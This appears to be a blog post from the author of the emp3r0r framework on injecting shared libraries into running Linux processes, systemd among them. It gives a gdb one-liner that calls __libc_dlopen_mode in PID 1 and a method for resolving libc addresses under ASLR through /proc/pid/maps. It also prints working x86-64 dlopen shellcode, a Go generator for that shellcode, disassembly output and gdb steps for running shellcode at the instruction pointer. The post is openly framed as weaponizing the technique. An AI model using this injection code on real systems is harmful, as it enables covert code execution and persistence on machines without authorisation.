shared library injection
with gdb
(yes i have compiled a fully static gdb), we can easily perform the injection by invoking dlopen
in target processes, since most processes on a Linux machine are linked with glibc
, this will work for almost every process, including systemd
according to https://magisterquis.github.io/2018/03/11/process-injection-with-gdb.html, we can simply run
echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p 1
this command tells gdb to find and execute __libc_dlopen_mode()
function in current process, and print the return value (the address of mapped library.so
)
in case you didnt know, dlopen
is a function from libdl, well, not all processes have libdl loaded,
and thats also the reason that we are gonna use __libc_dlopen_mode
, which is an internal function of libc, almost every process on a Linux system loads libc
for convenience, i have implemented this in emp3r0r so that you can use injector
module to do that automatically
look at the screenshot above to get an impression of how it works
weaponize
given gdb
can do the job for us, it's not guaranteed that it will work every time, and we surely don't want any extra dependencies
how to find a libc function in memory
we can easily find the offset of __libc_dlopen_mode
or any other symbols in libc.so
binary by parsing the ELF file,
but its almost guaranteed that you wont be able to call them via the offsets found in ELF file
with ASLR enabled, each time libc gets loaded, it has a different base address, which is expected. what you might not know is, there's a global offset as well, for example i found on a Debian 11 system that libc.so
is loaded with an offset of 0x2500
, meaning you have to deduct that value when locating your symbols
all these information can be found in /proc/pid/maps
, all you have to do is read it
so basically emp3r0r does the following:
- read
/proc/pid/maps
to get base address and offset oflibc.so
- parse
libc.so
binary to find the symbol (__libc_dlopen_mode
in this case) - calculate the address of symbol in target processes (
pid
):base - offset + symbol_addr
write the shellcode
this shellcode simply sets up the parameters __libc_dlopen_mode
requires,
and then calls __libc_dlopen_mode
by the address hardcoded in it
to use this shellcode in practice, you need at least the real (randomized) address of __libc_dlopen_mode
xor eax, esi
xor edi, edi
xor esi, esi
xor edx, edx
xor ecx, ecx
xor ebx, ebx
push rdi
mov rdi, 0x312e332e312e6f73
push rdi
mov rdi, 0x2e6d617062696c2f
push rdi
mov rdi, 0x756e672d78756e69
push rdi
mov rdi, 0x6c2d34365f363878
push rdi
mov rdi, 0x2f62696c2f727375
push rdi
mov rdi, 0x2f00000000000000
push rdi
add rsp, 7
mov rdi, rsp
mov sil, 2
mov rax, 0x7fdbd84e9800; change me to real __libc_dlopen_mode address
call rax
to make things easier, emp3r0r has made a template and some code to generate required shellcode on the fly
var (
dlopen_shellcode = "31f0" + "31ff" + "31f6" +
"31d2" + "31c9" + "31db" + // clear rax, rdi, rsi
"57" + // push rdi '\0'
// filename is path to loader.so
// to be replaced with
// movabs rdi, 0xdeadbeefdeadbeef; push rdi
// opcode is 48bfdeadbeefdeadbeef; 57
"filename" +
// "cc" + // int3
"40b602" + // mov sil, 2; mode=2
"48b830d9320c047f0000" +
// "cc" + // int3
"ffd0" + // movabs rax, 0x7f040c32d930; call rax
"cc" // int3
)
// generates instructions that pushes filename to stack
// and assign to rdi as function parameter
func push_filename_asm(path string) (ret_hex string) {
path_hex := ""
if len(path) <= 8 {
path_hex = hex.EncodeToString([]byte(path))
ret_hex = "48bf" + path_hex + "57" // movabs rdi, so_path_hex; push rdi
ret_hex += "4889e7" // mov rdi, rsp
} else {
path_str := "" // hex string can't be easily reversed
for _, char := range util.ReverseString(path) {
c := string(char)
if len(path_str) == 8 {
r := util.ReverseString(path_str)
path_hex = hex.EncodeToString([]byte(r))
ret_hex += "48bf" + path_hex + "57" // movabs rdi, path_hex; push rdi
path_str = ""
}
path_str += c
}
// remaining chars
r := util.ReverseString(path_str)
path_hex = hex.EncodeToString([]byte(r))
}
// pad the remaining bytes
if len(path_hex)/2 < 8 {
padding := 8 - len(path_hex)/2 // number of paddings using NULL
padding_b := []byte{byte(padding)} // number of NULLs used for padding, in hex format
path_hex = fmt.Sprintf("%s%s", strings.Repeat("00", padding), path_hex)
ret_hex += "48bf" + path_hex + "57"
ret_hex += fmt.Sprintf("4883c4%s", hex.EncodeToString(padding_b)) // add rsp, padding
}
ret_hex += "4889e7" // mov rdi, rsp
return
}
asm to hex (and vice versa)
it should be easy if you have experience in shellcode, here i used rasm2
(included in radare2)
this converts hex encoded bytes to assembly
❯ rasm2 -D -a x86 -b 64 '31f031ff31f65748bf736f2e312e332e315748bf2f6c696270616d2e5748bf696e75782d676e755748bf7838365f36342d6c5748bf7573722f6c69622f5748bf000000000000002f574883c4074889e740b60248b800984ed8db7f0000ffd0cc'
0x00000000 2 31f0 xor eax, esi
0x00000002 2 31ff xor edi, edi
0x00000004 2 31f6 xor esi, esi
0x00000006 1 57 push rdi
0x00000007 10 48bf736f2e312e332e31 movabs rdi, 0x312e332e312e6f73
0x00000011 1 57 push rdi
0x00000012 10 48bf2f6c696270616d2e movabs rdi, 0x2e6d617062696c2f
0x0000001c 1 57 push rdi
0x0000001d 10 48bf696e75782d676e75 movabs rdi, 0x756e672d78756e69
0x00000027 1 57 push rdi
0x00000028 10 48bf7838365f36342d6c movabs rdi, 0x6c2d34365f363878
0x00000032 1 57 push rdi
0x00000033 10 48bf7573722f6c69622f movabs rdi, 0x2f62696c2f727375
0x0000003d 1 57 push rdi
0x0000003e 10 48bf000000000000002f movabs rdi, 0x2f00000000000000
0x00000048 1 57 push rdi
0x00000049 4 4883c407 add rsp, 7
0x0000004d 3 4889e7 mov rdi, rsp
0x00000050 3 40b602 mov sil, 2
0x00000053 10 48b800984ed8db7f0000 movabs rax, 0x7fdbd84e9800
0x0000005d 2 ffd0 call rax
0x0000005f 1 cc int3
this converts raw binary of shellcode to hex string
❯ nasm dlopen.asm -o /tmp/dlopen && rax2 -S < /tmp/dlopen
31f031ff31f631d231c931db5748bf736f2e312e332e315748bf2f6c696270616d2e5748bf696e75782d676e755748bf7838365f36342d6c5748bf7573722f6c69622f5748bf000000000000002f574883c4074889e740b60248b800984ed8db7f0000ffd0
shellcode debugging
im sure many people would ask, "how to debug my shellcode with gdb on the fly (instead of compile it as a standalone ELF)?"
if you search the Internet you will find surprisingly little information about this topic, no one is sharing anything useful, they just tell you the most basic and known by the whole universe techniques
come on, we just need to throw our shellcode at $PC
($RIP
in this case) and watch it run!
how do we do that?
(gdb) restore binary shellcode.bin $rip
(gdb) ni
Comments
comments powered by Disqus